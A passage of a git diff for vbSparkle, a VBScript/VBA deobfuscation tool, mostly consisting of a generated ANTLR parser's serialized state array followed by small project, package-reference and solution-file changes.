0,2765,261,1,0,0,0,2766,2768,3,264,132,0,2767,2766,1,0,0,0,2767,2768,1, + 0,0,0,2768,2769,1,0,0,0,2769,2770,5,187,0,0,2770,2772,3,294,147,0,2771, + 2773,3,320,160,0,2772,2771,1,0,0,0,2772,2773,1,0,0,0,2773,2775,1,0,0,0, + 2774,2776,3,258,129,0,2775,2774,1,0,0,0,2775,2776,1,0,0,0,2776,2778,1, + 0,0,0,2777,2779,3,282,141,0,2778,2777,1,0,0,0,2778,2779,1,0,0,0,2779,263, + 1,0,0,0,2780,2785,3,272,136,0,2781,2785,3,266,133,0,2782,2785,3,268,134, + 0,2783,2785,3,276,138,0,2784,2780,1,0,0,0,2784,2781,1,0,0,0,2784,2782, + 1,0,0,0,2784,2783,1,0,0,0,2785,265,1,0,0,0,2786,2788,3,294,147,0,2787, + 2789,3,320,160,0,2788,2787,1,0,0,0,2788,2789,1,0,0,0,2789,2791,1,0,0,0, + 2790,2792,3,282,141,0,2791,2790,1,0,0,0,2791,2792,1,0,0,0,2792,267,1,0, + 0,0,2793,2797,3,294,147,0,2794,2797,3,298,149,0,2795,2797,3,270,135,0, + 2796,2793,1,0,0,0,2796,2794,1,0,0,0,2796,2795,1,0,0,0,2797,2799,1,0,0, + 0,2798,2800,3,320,160,0,2799,2798,1,0,0,0,2799,2800,1,0,0,0,2800,2802, + 1,0,0,0,2801,2803,5,223,0,0,2802,2801,1,0,0,0,2802,2803,1,0,0,0,2803,2815, + 1,0,0,0,2804,2806,5,195,0,0,2805,2807,5,223,0,0,2806,2805,1,0,0,0,2806, + 2807,1,0,0,0,2807,2812,1,0,0,0,2808,2810,3,278,139,0,2809,2811,5,223,0, + 0,2810,2809,1,0,0,0,2810,2811,1,0,0,0,2811,2813,1,0,0,0,2812,2808,1,0, + 0,0,2812,2813,1,0,0,0,2813,2814,1,0,0,0,2814,2816,5,206,0,0,2815,2804, + 1,0,0,0,2816,2817,1,0,0,0,2817,2815,1,0,0,0,2817,2818,1,0,0,0,2818,2820, + 1,0,0,0,2819,2821,3,282,141,0,2820,2819,1,0,0,0,2820,2821,1,0,0,0,2821, + 269,1,0,0,0,2822,2824,3,294,147,0,2823,2825,3,320,160,0,2824,2823,1,0, + 0,0,2824,2825,1,0,0,0,2825,2827,1,0,0,0,2826,2828,5,223,0,0,2827,2826, + 1,0,0,0,2827,2828,1,0,0,0,2828,2829,1,0,0,0,2829,2831,5,195,0,0,2830,2832, + 5,223,0,0,2831,2830,1,0,0,0,2831,2832,1,0,0,0,2832,2837,1,0,0,0,2833,2835, + 3,278,139,0,2834,2836,5,223,0,0,2835,2834,1,0,0,0,2835,2836,1,0,0,0,2836, + 2838,1,0,0,0,2837,2833,1,0,0,0,2837,2838,1,0,0,0,2838,2839,1,0,0,0,2839, + 2840,5,206,0,0,2840,271,1,0,0,0,2841,2844,3,266,133,0,2842,2844,3,268, + 134,0,2843,2841,1,0,0,0,2843,2842,1,0,0,0,2843,2844,1,0,0,0,2844,2846, + 1,0,0,0,2845,2847,3,274,137,0,2846,2845,1,0,0,0,2847,2848,1,0,0,0,2848, + 2846,1,0,0,0,2848,2849,1,0,0,0,2849,2851,1,0,0,0,2850,2852,3,282,141,0, + 2851,2850,1,0,0,0,2851,2852,1,0,0,0,2852,273,1,0,0,0,2853,2855,5,223,0, + 0,2854,2853,1,0,0,0,2854,2855,1,0,0,0,2855,2856,1,0,0,0,2856,2858,5,187, + 0,0,2857,2859,5,223,0,0,2858,2857,1,0,0,0,2858,2859,1,0,0,0,2859,2862, + 1,0,0,0,2860,2863,3,266,133,0,2861,2863,3,268,134,0,2862,2860,1,0,0,0, + 2862,2861,1,0,0,0,2863,275,1,0,0,0,2864,2865,3,282,141,0,2865,277,1,0, + 0,0,2866,2868,3,280,140,0,2867,2866,1,0,0,0,2867,2868,1,0,0,0,2868,2870, + 1,0,0,0,2869,2871,5,223,0,0,2870,2869,1,0,0,0,2870,2871,1,0,0,0,2871,2872, + 1,0,0,0,2872,2874,7,12,0,0,2873,2875,5,223,0,0,2874,2873,1,0,0,0,2874, + 2875,1,0,0,0,2875,2877,1,0,0,0,2876,2867,1,0,0,0,2877,2880,1,0,0,0,2878, + 2876,1,0,0,0,2878,2879,1,0,0,0,2879,2881,1,0,0,0,2880,2878,1,0,0,0,2881, + 2894,3,280,140,0,2882,2884,5,223,0,0,2883,2882,1,0,0,0,2883,2884,1,0,0, + 0,2884,2885,1,0,0,0,2885,2887,7,12,0,0,2886,2888,5,223,0,0,2887,2886,1, + 0,0,0,2887,2888,1,0,0,0,2888,2890,1,0,0,0,2889,2891,3,280,140,0,2890,2889, + 1,0,0,0,2890,2891,1,0,0,0,2891,2893,1,0,0,0,2892,2883,1,0,0,0,2893,2896, + 1,0,0,0,2894,2892,1,0,0,0,2894,2895,1,0,0,0,2895,279,1,0,0,0,2896,2894, + 1,0,0,0,2897,2898,7,16,0,0,2898,2900,5,223,0,0,2899,2897,1,0,0,0,2899, + 2900,1,0,0,0,2900,2901,1,0,0,0,2901,2902,3,234,117,0,2902,281,1,0,0,0, + 2903,2904,5,189,0,0,2904,2906,3,294,147,0,2905,2907,3,320,160,0,2906,2905, + 1,0,0,0,2906,2907,1,0,0,0,2907,283,1,0,0,0,2908,2926,5,195,0,0,2909,2911, + 5,223,0,0,2910,2909,1,0,0,0,2910,2911,1,0,0,0,2911,2912,1,0,0,0,2912,2923, + 3,286,143,0,2913,2915,5,223,0,0,2914,2913,1,0,0,0,2914,2915,1,0,0,0,2915, + 2916,1,0,0,0,2916,2918,5,184,0,0,2917,2919,5,223,0,0,2918,2917,1,0,0,0, + 2918,2919,1,0,0,0,2919,2920,1,0,0,0,2920,2922,3,286,143,0,2921,2914,1, + 0,0,0,2922,2925,1,0,0,0,2923,2921,1,0,0,0,2923,2924,1,0,0,0,2924,2927, + 1,0,0,0,2925,2923,1,0,0,0,2926,2910,1,0,0,0,2926,2927,1,0,0,0,2927,2929, + 1,0,0,0,2928,2930,5,223,0,0,2929,2928,1,0,0,0,2929,2930,1,0,0,0,2930,2931, + 1,0,0,0,2931,2932,5,206,0,0,2932,285,1,0,0,0,2933,2934,5,117,0,0,2934, + 2936,5,223,0,0,2935,2933,1,0,0,0,2935,2936,1,0,0,0,2936,2939,1,0,0,0,2937, + 2938,7,17,0,0,2938,2940,5,223,0,0,2939,2937,1,0,0,0,2939,2940,1,0,0,0, + 2940,2943,1,0,0,0,2941,2942,5,124,0,0,2942,2944,5,223,0,0,2943,2941,1, + 0,0,0,2943,2944,1,0,0,0,2944,2945,1,0,0,0,2945,2947,3,294,147,0,2946,2948, + 3,320,160,0,2947,2946,1,0,0,0,2947,2948,1,0,0,0,2948,2957,1,0,0,0,2949, + 2951,5,223,0,0,2950,2949,1,0,0,0,2950,2951,1,0,0,0,2951,2952,1,0,0,0,2952, + 2954,5,195,0,0,2953,2955,5,223,0,0,2954,2953,1,0,0,0,2954,2955,1,0,0,0, + 2955,2956,1,0,0,0,2956,2958,5,206,0,0,2957,2950,1,0,0,0,2957,2958,1,0, + 0,0,2958,2961,1,0,0,0,2959,2960,5,223,0,0,2960,2962,3,296,148,0,2961,2959, + 1,0,0,0,2961,2962,1,0,0,0,2962,2967,1,0,0,0,2963,2965,5,223,0,0,2964,2963, + 1,0,0,0,2964,2965,1,0,0,0,2965,2966,1,0,0,0,2966,2968,3,288,144,0,2967, + 2964,1,0,0,0,2967,2968,1,0,0,0,2968,287,1,0,0,0,2969,2971,5,188,0,0,2970, + 2972,5,223,0,0,2971,2970,1,0,0,0,2971,2972,1,0,0,0,2972,2973,1,0,0,0,2973, + 2974,3,234,117,0,2974,289,1,0,0,0,2975,2986,3,292,146,0,2976,2978,5,223, + 0,0,2977,2976,1,0,0,0,2977,2978,1,0,0,0,2978,2979,1,0,0,0,2979,2981,5, + 184,0,0,2980,2982,5,223,0,0,2981,2980,1,0,0,0,2981,2982,1,0,0,0,2982,2983, + 1,0,0,0,2983,2985,3,292,146,0,2984,2977,1,0,0,0,2985,2988,1,0,0,0,2986, + 2984,1,0,0,0,2986,2987,1,0,0,0,2987,291,1,0,0,0,2988,2986,1,0,0,0,2989, + 2990,3,234,117,0,2990,2991,5,223,0,0,2991,2992,5,165,0,0,2992,2993,5,223, + 0,0,2993,2995,1,0,0,0,2994,2989,1,0,0,0,2994,2995,1,0,0,0,2995,2996,1, + 0,0,0,2996,2997,3,234,117,0,2997,293,1,0,0,0,2998,3001,5,218,0,0,2999, + 3001,3,324,162,0,3000,2998,1,0,0,0,3000,2999,1,0,0,0,3001,3002,1,0,0,0, + 3002,3000,1,0,0,0,3002,3003,1,0,0,0,3003,3013,1,0,0,0,3004,3007,5,208, + 0,0,3005,3008,5,218,0,0,3006,3008,3,324,162,0,3007,3005,1,0,0,0,3007,3006, + 1,0,0,0,3008,3009,1,0,0,0,3009,3007,1,0,0,0,3009,3010,1,0,0,0,3010,3011, + 1,0,0,0,3011,3013,5,209,0,0,3012,3000,1,0,0,0,3012,3004,1,0,0,0,3013,295, + 1,0,0,0,3014,3015,5,8,0,0,3015,3018,5,223,0,0,3016,3017,5,108,0,0,3017, + 3019,5,223,0,0,3018,3016,1,0,0,0,3018,3019,1,0,0,0,3019,3020,1,0,0,0,3020, + 3023,3,318,159,0,3021,3022,5,223,0,0,3022,3024,3,306,153,0,3023,3021,1, + 0,0,0,3023,3024,1,0,0,0,3024,297,1,0,0,0,3025,3026,7,18,0,0,3026,299,1, + 0,0,0,3027,3032,5,218,0,0,3028,3031,3,324,162,0,3029,3031,5,218,0,0,3030, + 3028,1,0,0,0,3030,3029,1,0,0,0,3031,3034,1,0,0,0,3032,3030,1,0,0,0,3032, + 3033,1,0,0,0,3033,3043,1,0,0,0,3034,3032,1,0,0,0,3035,3038,3,324,162,0, + 3036,3039,3,324,162,0,3037,3039,5,218,0,0,3038,3036,1,0,0,0,3038,3037, + 1,0,0,0,3039,3040,1,0,0,0,3040,3038,1,0,0,0,3040,3041,1,0,0,0,3041,3043, + 1,0,0,0,3042,3027,1,0,0,0,3042,3035,1,0,0,0,3043,301,1,0,0,0,3044,3045, + 7,19,0,0,3045,303,1,0,0,0,3046,3051,3,294,147,0,3047,3048,5,187,0,0,3048, + 3050,3,294,147,0,3049,3047,1,0,0,0,3050,3053,1,0,0,0,3051,3049,1,0,0,0, + 3051,3052,1,0,0,0,3052,305,1,0,0,0,3053,3051,1,0,0,0,3054,3056,5,199,0, + 0,3055,3057,5,223,0,0,3056,3055,1,0,0,0,3056,3057,1,0,0,0,3057,3060,1, + 0,0,0,3058,3061,5,213,0,0,3059,3061,3,294,147,0,3060,3058,1,0,0,0,3060, + 3059,1,0,0,0,3061,307,1,0,0,0,3062,3071,3,300,150,0,3063,3065,5,223,0, + 0,3064,3063,1,0,0,0,3064,3065,1,0,0,0,3065,3066,1,0,0,0,3066,3068,5,197, + 0,0,3067,3069,5,223,0,0,3068,3067,1,0,0,0,3068,3069,1,0,0,0,3069,3070, + 1,0,0,0,3070,3072,3,300,150,0,3071,3064,1,0,0,0,3071,3072,1,0,0,0,3072, + 309,1,0,0,0,3073,3078,5,212,0,0,3074,3078,5,216,0,0,3075,3078,5,211,0, + 0,3076,3078,5,210,0,0,3077,3073,1,0,0,0,3077,3074,1,0,0,0,3077,3075,1, + 0,0,0,3077,3076,1,0,0,0,3078,311,1,0,0,0,3079,3088,5,214,0,0,3080,3088, + 3,310,155,0,3081,3088,5,215,0,0,3082,3088,5,213,0,0,3083,3088,5,166,0, + 0,3084,3088,5,68,0,0,3085,3088,5,110,0,0,3086,3088,5,111,0,0,3087,3079, + 1,0,0,0,3087,3080,1,0,0,0,3087,3081,1,0,0,0,3087,3082,1,0,0,0,3087,3083, + 1,0,0,0,3087,3084,1,0,0,0,3087,3085,1,0,0,0,3087,3086,1,0,0,0,3088,313, + 1,0,0,0,3089,3090,7,20,0,0,3090,315,1,0,0,0,3091,3092,7,21,0,0,3092,317, + 1,0,0,0,3093,3096,3,298,149,0,3094,3096,3,304,152,0,3095,3093,1,0,0,0, + 3095,3094,1,0,0,0,3096,3105,1,0,0,0,3097,3099,5,223,0,0,3098,3097,1,0, + 0,0,3098,3099,1,0,0,0,3099,3100,1,0,0,0,3100,3102,5,195,0,0,3101,3103, + 5,223,0,0,3102,3101,1,0,0,0,3102,3103,1,0,0,0,3103,3104,1,0,0,0,3104,3106, + 5,206,0,0,3105,3098,1,0,0,0,3105,3106,1,0,0,0,3106,319,1,0,0,0,3107,3108, + 7,22,0,0,3108,321,1,0,0,0,3109,3110,7,23,0,0,3110,323,1,0,0,0,3111,3112, + 7,24,0,0,3112,325,1,0,0,0,542,330,335,342,344,347,352,356,361,365,370, + 374,379,383,388,392,397,401,406,410,414,419,422,427,439,445,450,456,460, + 464,473,477,483,487,497,501,506,511,513,516,521,536,539,547,552,557,563, + 568,572,579,587,591,595,604,607,615,619,624,629,631,637,645,649,651,657, + 660,665,674,678,682,686,691,696,700,704,709,711,714,716,785,855,861,865, + 868,884,888,893,896,901,907,911,916,921,925,928,932,938,942,949,955,959, + 962,967,977,980,983,987,993,997,1002,1009,1013,1017,1021,1024,1030,1036, + 1038,1045,1051,1057,1059,1067,1073,1079,1083,1090,1098,1103,1111,1119, + 1125,1127,1133,1137,1140,1145,1151,1155,1160,1170,1176,1186,1190,1198, + 1202,1205,1209,1215,1221,1223,1227,1230,1236,1240,1243,1247,1255,1260, + 1265,1271,1273,1279,1281,1286,1290,1294,1300,1303,1307,1310,1315,1318, + 1324,1330,1332,1337,1346,1350,1353,1356,1360,1376,1380,1386,1391,1395, + 1399,1403,1409,1414,1422,1426,1432,1438,1440,1452,1458,1460,1466,1472, + 1474,1484,1488,1493,1501,1505,1509,1513,1517,1521,1525,1529,1532,1535, + 1539,1543,1549,1553,1557,1565,1569,1581,1585,1592,1594,1600,1604,1612, + 1616,1628,1634,1636,1646,1652,1654,1660,1666,1668,1690,1700,1704,1709, + 1720,1724,1729,1743,1747,1756,1760,1763,1767,1771,1774,1778,1782,1785, + 1789,1792,1796,1798,1802,1806,1810,1814,1817,1823,1827,1830,1832,1837, + 1841,1847,1850,1853,1857,1862,1868,1870,1877,1881,1887,1890,1895,1901, + 1903,1910,1914,1920,1923,1928,1934,1936,1944,1948,1951,1954,1958,1966, + 1970,1974,1976,1979,1984,1990,1994,1998,2003,2008,2012,2016,2021,2029, + 2031,2043,2047,2055,2059,2067,2071,2075,2079,2083,2087,2095,2099,2111, + 2116,2120,2126,2130,2135,2142,2144,2149,2153,2158,2161,2165,2169,2180, + 2186,2190,2193,2199,2203,2211,2215,2224,2228,2232,2238,2241,2246,2252, + 2254,2260,2264,2271,2279,2284,2291,2295,2298,2301,2304,2308,2313,2322, + 2332,2336,2343,2345,2352,2356,2360,2365,2369,2382,2386,2392,2397,2405, + 2409,2413,2416,2420,2424,2429,2433,2438,2442,2447,2451,2456,2460,2465, + 2469,2474,2478,2483,2487,2492,2496,2501,2505,2510,2514,2519,2523,2528, + 2532,2537,2541,2546,2550,2563,2565,2571,2576,2582,2586,2591,2596,2599, + 2603,2607,2609,2613,2615,2619,2627,2632,2638,2647,2651,2659,2665,2671, + 2673,2681,2685,2688,2692,2698,2701,2705,2709,2713,2718,2722,2726,2729, + 2733,2737,2741,2745,2748,2751,2755,2758,2761,2767,2772,2775,2778,2784, + 2788,2791,2796,2799,2802,2806,2810,2812,2817,2820,2824,2827,2831,2835, + 2837,2843,2848,2851,2854,2858,2862,2867,2870,2874,2878,2883,2887,2890, + 2894,2899,2906,2910,2914,2918,2923,2926,2929,2935,2939,2943,2947,2950, + 2954,2957,2961,2964,2967,2971,2977,2981,2986,2994,3000,3002,3007,3009, + 3012,3018,3023,3030,3032,3038,3040,3042,3051,3056,3060,3064,3068,3071, + 3077,3087,3095,3098,3102,3105 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs index 9c3e290..03249f3 100644 --- a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs +++ b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using vbSparkle.Options; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/antlr-4.13.1-complete.jar b/Sources/vbSparkle/antlr-4.13.1-complete.jar new file mode 100644 index 0000000..f539ab0 Binary files /dev/null and b/Sources/vbSparkle/antlr-4.13.1-complete.jar differ diff --git a/Sources/vbSparkle/vbSparkle.csproj b/Sources/vbSparkle/vbSparkle.csproj index 9f078a1..2dafba6 100644 --- a/Sources/vbSparkle/vbSparkle.csproj +++ b/Sources/vbSparkle/vbSparkle.csproj @@ -17,17 +17,13 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR Airbus CERT, Sylvain Bruyere Airbus 1.0.3 + vbSparkle - - all - runtime; build; native; contentfiles; analyzers; buildtransitive - - - - - + + + @@ -50,6 +46,10 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR + + + + diff --git a/vbSparkle.sln b/vbSparkle.sln index e4ec9e1..b797efe 100644 --- a/vbSparkle.sln +++ b/vbSparkle.sln @@ -17,6 +17,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.Web", "Sources\vbSparkle.Web\vbSparkle.Web.csproj", "{624C3675-DBFF-4D53-9488-9A9987E467DF}" EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Antlr4", "C:\Users\USR-S974\Downloads\antlr4-dev\antlr4-dev\runtime\CSharp\src\Antlr4.csproj", "{E0464AE4-7A68-41F5-B68C-ABE0571B030F}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -35,6 +37,10 @@ Global {624C3675-DBFF-4D53-9488-9A9987E467DF}.Debug|Any CPU.Build.0 = Debug|Any CPU {624C3675-DBFF-4D53-9488-9A9987E467DF}.Release|Any CPU.ActiveCfg = Release|Any CPU {624C3675-DBFF-4D53-9488-9A9987E467DF}.Release|Any CPU.Build.0 = Release|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE